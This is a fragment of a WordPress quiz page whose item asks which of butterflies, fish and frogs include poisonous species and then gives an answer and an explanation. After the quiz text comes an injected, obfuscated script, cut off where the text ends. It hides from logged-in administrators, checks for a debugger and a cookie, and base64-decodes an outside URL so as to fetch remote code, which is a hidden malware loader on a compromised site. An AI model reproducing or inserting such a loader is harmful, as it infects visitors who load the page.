has-link-color wp-elements-199 wp-block-paragraph\">3. Frogs<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-200 wp-block-paragraph\"><strong>How many of the above have poisonous species among them?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-201 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-202 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-203 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-204 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-205 wp-block-paragraph\"><strong>Answer: (c) All three<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-206 wp-block-paragraph\"><strong>EXPLANATION:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-207 wp-block-paragraph\"><strong>Butterflies<\/strong>: some butterflies are poisonous or distasteful to predators.<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-208\">\n<li><strong>Example<\/strong>: Monarch butterfly contain cardiac glycosides from milkweed.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-209 wp-block-paragraph\"><strong>Fish<\/strong>: several fish species are poisonous.<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-210\">\n<li><strong>Examples<\/strong>: Pufferfish (tetrodotoxin), stonefish (venomous spines), lionfish (venomous spines).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-211 wp-block-paragraph\"><strong>Frogs<\/strong>: many frogs are poisonous.<strong>Examples<\/strong>: Poison dart frogs secrete toxins through skin.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new 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